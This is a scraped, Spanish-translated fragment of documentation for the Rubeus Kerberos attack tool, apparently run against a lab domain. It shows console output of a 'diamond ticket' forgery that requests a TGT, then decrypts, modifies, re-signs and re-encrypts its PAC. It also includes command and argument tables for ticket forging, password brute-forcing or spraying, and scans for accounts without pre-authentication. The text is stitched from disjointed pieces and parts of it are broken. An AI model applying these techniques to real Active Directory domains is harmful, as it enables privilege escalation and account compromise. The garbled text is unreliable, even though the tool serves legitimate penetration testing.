[*] Using domain controller: earth-dc.marvel.local (10.1.1.11)
[!] Pre-Authentication required!
[!]     AES256 Salt: MARVEL.LOCALloki
[*] Using aes256_cts_hmac_sha1 hash: 8A90D4F4E8698E76FA014C97A539C1083EDDCB5A281B1274568758FB999DFCE7
[*] Building AS-REQ (w/ preauth) for: 'marvel.local\loki'
[*] Using domain controller: 10.1.1.11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFejCCBXagAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
                                        ...(snip)...
      oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=

[*] Decrypting TGT
[*] Retreiving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT

[*] base64(ticket.kirbi):

      doIFajCCBWagAwIBBaEDAgEWooIEczCCBG9hggRrMIIEZ6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
                                        ...(snip)...
      UlZFTC5MT0NBTA==

Creando un TGT diamond usando el truco tgtdeleg:


Read more

Descargar herramienta
kirbi
  • Instrucciones de compilación
    • Apuntar a otras versiones de .NET
    • Nota: Construir Rubeus como biblioteca
    • Nota: Ejecutar Rubeus a través de PowerShell
      • Nota de nota: Ejecutar Rubeus sobre PSRemoting
  • ComandoDescripción
    asktgtSolicitar un ticket de concesión de tickets (TGT) a partir de un hash/clave o contraseña
    asktgsSolicitar un ticket de servicio a partir de un TGT entregado
    renewRenovar (o renovar automáticamente) un TGT o ticket de servicio
    bruteRealizar un ataque de fuerza bruta de contraseñas basado en Kerberos. 'spray' también se puede usar en lugar de 'brute'
    preauthscanRealizar un escaneo de cuentas que no requieren pre-autenticación Kerberos
    /resourcegroups
    /resourcegroupsid
    ArgumentoDescripción
    /authtimeEstablece el campo authtime en el EncTicketPart. En formato de hora local - Se convierte a UTC automáticamente (Predeterminado: ahora)
    /starttimeEstablece el campo starttime en el EncTicketPart. En formato de hora local - Se convierte a UTC automáticamente (Predeterminado: ahora)
    /endtimeEstablece el campo endtime en el EncTicketPart. Esto es relativo a starttime, en el formato de multiplicador más rango de tiempo, por lo que para 5 días, 5d. Más información sobre este formato se explica a continuación (Predeterminado: 10h)
    /renewtillEstablece el campo renew-till en el EncTicketPart. Esto es relativo a starttime, en el formato de multiplicador más rango de tiempo, por lo que para 5 días, 5d. Más información sobre este formato se explica a continuación (Predeterminado: 7d)
    /rangeendEsto es para crear múltiples tickets que comienzan en diferentes momentos. Este será el último starttime, relativo a /starttime, en el formato de multiplicador más rango de tiempo, por lo que para 5 días, 5d. Más información sobre este formato se explica a continuación
    /rangeintervalEsto es para crear múltiples tickets que comienzan en diferentes momentos. Este es el intervalo que se usará entre cada starttime, en el formato de multiplicador más rango de tiempo, por lo que para 5 días, 5d. Más información sobre este formato se explica a continuación
    /flagsEstablece los flags del ticket dentro del EncTicketPart (Predeterminado: forwardable,renewable,pre_authent y para golden también initial)
    /extendedupndnsIncluye los nuevos UpnDns extendidos (que incluyen el samaccountname y el SID de la cuenta)